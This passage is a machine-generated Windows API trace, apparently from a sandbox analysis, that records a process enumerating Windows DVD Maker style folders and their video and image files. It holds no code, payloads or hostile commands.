ftCreationTime.dwLowDateTime=0x70327743, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70327743, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ddc950f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8232c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Scene_loop.wmv", cAlternateFileName="")) returned 1 [0240.120] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70399b5a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70399b5a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4de61a87, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x95bac, dwReserved0=0x0, dwReserved1=0x0, cFileName="Scene_loop_PAL.wmv", cAlternateFileName="")) returned 1 [0240.120] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7011242d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7011242d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e53996b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x99, dwReserved0=0x0, dwReserved1=0x0, cFileName="TitleButtonIcon.png", cAlternateFileName="")) returned 1 [0240.120] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7011242d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7011242d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e53996b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x84, dwReserved0=0x0, dwReserved1=0x0, cFileName="TitleButtonSubpicture.png", cAlternateFileName="")) returned 1 [0240.121] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x703e5e14, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x703e5e14, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ded3ea1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1a9204, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_Page.wmv", cAlternateFileName="")) returned 1 [0240.121] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7047e388, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7047e388, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e050c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1d0304, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_Page_PAL.wmv", cAlternateFileName="")) returned 1 [0240.121] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70588d13, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70588d13, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e1a789b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xad264, dwReserved0=0x0, dwReserved1=0x0, cFileName="title_trans_notes.wmv", cAlternateFileName="")) returned 1 [0240.121] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x705fb12a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x705fb12a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e1f3b57, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb4f64, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_Trans_Notes_PAL.wmv", cAlternateFileName="")) returned 1 [0240.121] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7066d541, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7066d541, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e23fe13, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x999e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="title_trans_scene.wmv", cAlternateFileName="")) returned 1 [0240.122] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70705ab5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70705ab5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e53996b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa16e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_Trans_Scene_PAL.wmv", cAlternateFileName="")) returned 1 [0240.122] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70079eb9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70079eb9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e53996b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1a3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="userContent_16x9_imagemask.png", cAlternateFileName="")) returned 1 [0240.122] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x700c6173, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x700c6173, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e53996b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2ee8, dwReserved0=0x0, dwReserved1=0x0, cFileName="whitemenu.png", cAlternateFileName="")) returned 1 [0240.122] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x700c6173, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x700c6173, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e53996b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2ee8, dwReserved0=0x0, dwReserved1=0x0, cFileName="whitemenu.png", cAlternateFileName="")) returned 0 [0240.122] FindClose (in: hFindFile=0x65bdc8 | out: hFindFile=0x65bdc8) returned 1 [0240.126] GetProcessHeap () returned 0x560000 [0240.126] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bc9a78 | out: hHeap=0x560000) returned 1 [0240.126] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa15a10e8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa89306e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa198102e, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets", cAlternateFileName="")) returned 1 [0240.126] GetProcessHeap () returned 0x560000 [0240.126] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2bc9a78 [0240.126] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\*", lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa15a10e8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa89306e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa198102e, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bdc8 [0240.313] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa15a10e8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa89306e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa198102e, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0240.313] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72003fbd, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72003fbd, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e55fac9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x39eaa, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notes_INTRO_BG.wmv", cAlternateFileName="")) returned 1 [0240.313] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72050277, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72050277, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e55fac9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x3dd24, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notes_INTRO_BG_PAL.wmv", cAlternateFileName="")) returned 1 [0240.313] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x720763d4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x720763d4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e5d1ee3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc0b4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notes_LOOP_BG.wmv", cAlternateFileName="")) returned 1 [0240.314] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7210e948, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7210e948, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e61e19f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xd43ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notes_LOOP_BG_PAL.wmv", cAlternateFileName="")) returned 1 [0240.314] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7240848c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7240848c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e66a45b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_btn-back-over-select.png", cAlternateFileName="")) returned 1 [0240.314] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7242e5e9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7242e5e9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e66a45b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x739, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_btn-back-static.png", cAlternateFileName="")) returned 1 [0240.314] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72454746, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72454746, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6905b9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_btn-next-over-select.png", cAlternateFileName="")) returned 1 [0240.315] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7247a8a3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7247a8a3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6905b9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x7f9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_btn-next-static.png", cAlternateFileName="")) returned 1 [0240.315] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x722b1847, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x722b1847, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6905b9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb4b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_btn-over-DOT.png", cAlternateFileName="")) returned 1 [0240.315] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x724a0a00, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x724a0a00, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6b6717, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_btn-previous-over-select.png", cAlternateFileName="")) returned 1 [0240.315] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x724a0a00, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x724a0a00, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6b6717, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x7e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_btn-previous-static.png", cAlternateFileName="")) returned 1 [0240.315] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x722d79a4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x722d79a4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6b6717, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x33b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_frame-border.png", cAlternateFileName="")) returned 1 [0240.315] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x724c6b5d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x724c6b5d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6dc875, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1681, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_frame-highlight.png", cAlternateFileName="")) returned 1 [0240.316] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x722fdb01, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x722fdb01, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6dc875, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1fe9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_frame-imageMask.png", cAlternateFileName="")) returned 1 [0240.316] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x722d79a4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x722d79a4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ea22689, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x643e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_frame-shadow.png", cAlternateFileName="")) returned 1 [0240.316] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x724eccba, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x724eccba, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ea487e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1816, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_image-frame-backglow.png", cAlternateFileName="")) returned 1 [0240.316] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x724eccba, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x724eccba, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ea487e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1f0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_image-frame-border.png", cAlternateFileName="")) returned 1 [0240.316] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x724c6b5d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x724c6b5d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ea487e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1146, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_image-frame-ImageMask.png", cAlternateFileName="")) returned 1 [0240.317] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7240848c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7240848c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ea487e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1ed0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_notes-txt-background.png", cAlternateFileName="")) returned 1 [0240.317] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71fdde60, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71fdde60, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ea487e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x41ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="rollinghills.png", cAlternateFileName="")) returned 1 [0240.317] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7215ac02, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7215ac02, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ea6e945, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x3dd2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Scenes_INTRO_BG.wmv", cAlternateFileName="")) returned 1 [0240.317] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72180d5f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72180d5f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ec1184f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x3fc64, dwReserved0=0x0, dwReserved1=0x0, cFileName="Scenes_INTRO_BG_PAL.wmv", cAlternateFileName="")) returned 1 [0240.317] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x721cd019, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x721cd019, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ec379ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2a8a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Scenes_LOOP_BG.wmv", cAlternateFileName="")) returned 1 [0240.318] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7223f430, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7223f430, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ecf6083, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xd43ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="Scenes_LOOP_BG_PAL.wmv", cAlternateFileName="")) returned 1 [0240.318] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72323c5e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72323c5e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ed4233f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xe3dca, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_Page_Ref.wmv", cAlternateFileName="")) returned 1 [0240.318] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x723bc1d2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x723bc1d2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee00a15, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf188a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_Page_Ref_PAL.wmv", cAlternateFileName="")) returned 1 [0240.318] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x723bc1d2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x723bc1d2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee00a15, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf188a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_Page_Ref_PAL.wmv", cAlternateFileName="")) returned 0 [0240.318] FindClose (in: hFindFile=0x65bdc8 | out: hFindFile=0x65bdc8) returned 1 [0240.321] GetProcessHeap () returned 0x560000 [0240.321] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bc9a78 | out: hHeap=0x560000) returned 1 [0240.321] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ee00a15, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x4ee00a15, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x4ee00a15, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x14fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="photoedge_buttongraphic.png", cAlternateFileName="")) returned 1 [0240.321] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e8601df, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e8601df, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee00a15, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1274, 